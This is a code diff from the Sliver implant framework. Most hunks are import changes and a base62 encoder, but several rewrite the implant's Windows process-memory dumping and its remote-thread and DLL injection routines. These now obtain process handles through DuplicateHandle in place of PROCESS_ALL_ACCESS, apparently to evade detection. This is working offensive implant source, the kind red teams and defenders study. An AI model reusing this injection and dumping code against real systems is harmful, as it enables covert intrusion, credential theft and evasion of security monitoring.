||||
} else {
|
||||
i = pos / 8
|
||||
j = byte(pos % 8)
|
||||
blen = byte((i+1)*8 - pos)
|
||||
if blen > 6 {
|
||||
blen = 6
|
||||
}
|
||||
}
|
||||
shift := 8 - j - blen
|
||||
b := enc.b[i] >> shift & (1<<blen - 1)
|
||||
|
||||
if blen < 6 && pos > 0 {
|
||||
blen1 := 6 - blen
|
||||
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
|
||||
}
|
||||
if b&compactMask == compactMask {
|
||||
if pos > 0 || b > mask5bits {
|
||||
pos++
|
||||
}
|
||||
b &= mask5bits
|
||||
}
|
||||
enc.pos = pos
|
||||
|
||||
return b, pos > 0
|
||||
}
|
||||
|
||||
func (enc *encoder) encode(encTable []byte) []byte {
|
||||
ret := make([]byte, 0, len(enc.b)*8/5+1)
|
||||
x, hasMore := enc.next()
|
||||
for {
|
||||
ret = append(ret, encTable[x])
|
||||
if !hasMore {
|
||||
break
|
||||
}
|
||||
x, hasMore = enc.next()
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
type CorruptInputError int64
|
||||
|
||||
func (e CorruptInputError) Error() string {
|
||||
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return []byte{}, nil
|
||||
}
|
||||
dec := decoder(src)
|
||||
return dec.decode(enc.decodeMap[:])
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
|
||||
return enc.Decode([]byte(src))
|
||||
}
|
||||
|
||||
type decoder []byte
|
||||
|
||||
func (dec decoder) decode(decTable []byte) ([]byte, error) {
|
||||
ret := make([]byte, len(dec)*6/8+1)
|
||||
idx := len(ret)
|
||||
pos := byte(0)
|
||||
b := 0
|
||||
for i, c := range dec {
|
||||
x := decTable[c]
|
||||
if x == 0xFF {
|
||||
return nil, CorruptInputError(i)
|
||||
}
|
||||
if i == len(dec)-1 {
|
||||
b |= int(x) << pos
|
||||
pos += byte(bits.Len8(x))
|
||||
} else if x&compactMask == compactMask {
|
||||
b |= int(x) << pos
|
||||
pos += 5
|
||||
} else {
|
||||
b |= int(x) << pos
|
||||
pos += 6
|
||||
}
|
||||
if pos >= 8 {
|
||||
idx--
|
||||
ret[idx] = byte(b)
|
||||
pos %= 8
|
||||
b >>= 8
|
||||
}
|
||||
}
|
||||
if pos > 0 {
|
||||
idx--
|
||||
ret[idx] = byte(b)
|
||||
}
|
||||
|
||||
return ret[idx:], nil
|
||||
}
|
||||
@@ -1,7 +1,5 @@
|
||||
package encoders
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -20,6 +18,8 @@ import "encoding/base64"
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
// Base64EncoderID - EncoderID
|
||||
const Base64EncoderID = 13
|
||||
|
||||
|
||||
@@ -43,7 +43,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RPCResponse - Request/response callback
|
||||
|
||||
@@ -37,8 +37,8 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"golang.org/x/sys/windows"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -37,7 +37,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ------------------------------------------------------------------------------------------
|
||||
|
||||
@@ -34,7 +34,7 @@ import (
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var specialHandlers = map[uint32]SpecialHandler{
|
||||
|
||||
@@ -34,7 +34,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func StartNamedPipeListener(pipeName string) error {
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// StartTCPListener - Start a TCP listener
|
||||
|
||||
@@ -38,10 +38,6 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
)
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
@@ -51,19 +47,34 @@ func (d *WindowsDump) Data() []byte {
|
||||
}
|
||||
|
||||
func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
res := &WindowsDump{}
|
||||
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
|
||||
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
|
||||
}
|
||||
|
||||
hProc, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, uint32(pid))
|
||||
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
err = windows.DuplicateHandle(hProc, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("DuplicateHandle failed")
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
if hProc != 0 {
|
||||
return minidump(uint32(pid), hProc)
|
||||
return minidump(uint32(pid), lpTargetHandle)
|
||||
}
|
||||
return res, fmt.Errorf("Could not dump process memory")
|
||||
return res, fmt.Errorf("{{if .Config.Debug}}Could not dump process memory{{end}}")
|
||||
}
|
||||
|
||||
func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
|
||||
@@ -52,7 +52,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.IsService}}
|
||||
"golang.org/x/sys/windows/svc"
|
||||
|
||||
@@ -18,6 +18,9 @@ const (
|
||||
LOGON32_PROVIDER_WINNT35 = 1
|
||||
LOGON32_PROVIDER_WINNT40 = 2
|
||||
LOGON32_PROVIDER_WINNT50 = 3
|
||||
PROCESS_DUP_HANDLE = 0x0040
|
||||
DUPLICATE_SAME_ACCESS = 0x00000002
|
||||
STILL_ACTIVE = 259
|
||||
)
|
||||
|
||||
type StartupInfoEx struct {
|
||||
|
||||
@@ -44,11 +44,6 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
PROCESS_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xfff
|
||||
STILL_ACTIVE = 259
|
||||
)
|
||||
|
||||
var (
|
||||
ntdllPath = "C:\\Windows\\System32\\ntdll.dll" // We make this a var so the string obfuscator can refactor it
|
||||
kernel32dllPath = "C:\\Windows\\System32\\kernel32.dll"
|
||||
@@ -139,15 +134,30 @@ func injectTask(processHandle windows.Handle, data []byte, rwxPages bool) (windo
|
||||
|
||||
// RermoteTask - Injects Task into a processID using remote threads
|
||||
func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
processHandle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, uint32(processID))
|
||||
processHandle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(processID))
|
||||
if processHandle == 0 {
|
||||
return err
|
||||
}
|
||||
_, err = injectTask(processHandle, data, rwxPages)
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("DuplicateHandle failed")
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
_, err = injectTask(lpTargetHandle, data, rwxPages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -192,7 +202,10 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
var stdoutBuf, stderrBuf bytes.Buffer
|
||||
var (
|
||||
stdoutBuf, stderrBuf bytes.Buffer
|
||||
lpTargetHandle windows.Handle
|
||||
)
|
||||
cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
@@ -204,11 +217,27 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] %s started, pid = %d\n", process, pid)
|
||||
// {{end}}
|
||||
handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
|
||||
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
threadHandle, err := injectTask(handle, data, false)
|
||||
defer windows.CloseHandle(handle)
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("DuplicateHandle failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
threadHandle, err := injectTask(lpTargetHandle, data, false)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -226,6 +255,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
}
|
||||
|
||||
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -241,19 +271,34 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] %s started, pid = %d\n", procName, pid)
|
||||
// {{end}}
|
||||
handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
|
||||
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("DuplicateHandle failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
dataAddr, err := allocAndWrite(data, handle, uint32(len(data)))
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
|
||||
argAddr := uintptr(0)
|
||||
if len(args) > 0 {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Args: %s\n", args)
|
||||
//{{end}}
|
||||
argsArray := []byte(args)
|
||||
argAddr, err = allocAndWrite(argsArray, handle, uint32(len(argsArray)))
|
||||
argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -262,7 +307,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
log.Printf("[*] Args addr: 0x%08x\n", argAddr)
|
||||
//{{end}}
|
||||
startAddr := uintptr(dataAddr) + uintptr(offset)
|
||||
threadHandle, err := protectAndExec(handle, dataAddr, startAddr, argAddr, uint32(len(data)))
|
||||
threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr, argAddr, uint32(len(data)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -275,6 +320,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] Thread completed execution, attempting to kill remote process\n")
|
||||
// {{end}}
|
||||
cmd.Process.Kill()
|
||||
return stdoutBuff.String() + stderrBuff.String(), nil
|
||||
}
|
||||
@@ -346,7 +394,10 @@ func waitForCompletion(threadHandle windows.Handle) error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if code == STILL_ACTIVE {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[!] Error: %v, code: %d\n", err, code)
|
||||
// {{end}}
|
||||
if code == syscalls.STILL_ACTIVE {
|
||||
time.Sleep(time.Second)
|
||||
} else {
|
||||
break
|
||||
|
||||
@@ -32,8 +32,8 @@ import (
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -53,7 +53,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -36,7 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -37,10 +37,10 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstack"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -44,7 +44,7 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
|
||||
@@ -46,7 +46,7 @@ import (
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
+308
-299
@@ -1918,6 +1918,7 @@ type WGListenerReq struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Host string `protobuf:"bytes,6,opt,name=Host,proto3" json:"Host,omitempty"`
|
||||
Port uint32 `protobuf:"varint,1,opt,name=Port,proto3" json:"Port,omitempty"`
|
||||
TunIP string `protobuf:"bytes,2,opt,name=TunIP,proto3" json:"TunIP,omitempty"`
|
||||
NPort uint32 `protobuf:"varint,3,opt,name=NPort,proto3" json:"NPort,omitempty"`
|
||||
@@ -1957,6 +1958,13 @@ func (*WGListenerReq) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{21}
|
||||
}
|
||||
|
||||
func (x *WGListenerReq) GetHost() string {
|
||||
if x != nil {
|
||||
return x.Host
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *WGListenerReq) GetPort() uint32 {
|
||||
if x != nil {
|
||||
return x.Port
|
||||
@@ -4677,309 +4685,310 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69,
|
||||
0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x89, 0x01, 0x0a, 0x0d,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d,
|
||||
0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a,
|
||||
0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07,
|
||||
0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69,
|
||||
0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72,
|
||||
0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x8e, 0x01, 0x0a, 0x0e,
|
||||
0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18,
|
||||
0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52,
|
||||
0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61,
|
||||
0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61,
|
||||
0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a,
|
||||
0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08,
|
||||
0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x23, 0x0a, 0x0b,
|
||||
0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a,
|
||||
0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49,
|
||||
0x44, 0x22, 0xdd, 0x01, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
|
||||
0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
|
||||
0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52,
|
||||
0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18,
|
||||
0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a,
|
||||
0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07,
|
||||
0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18,
|
||||
0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b,
|
||||
0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d,
|
||||
0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18,
|
||||
0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e,
|
||||
0x74, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52,
|
||||
0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b,
|
||||
0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
|
||||
0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65,
|
||||
0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e,
|
||||
0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63,
|
||||
0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63,
|
||||
0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
|
||||
0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
|
||||
0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73,
|
||||
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f,
|
||||
0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18,
|
||||
0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b,
|
||||
0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
|
||||
0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65,
|
||||
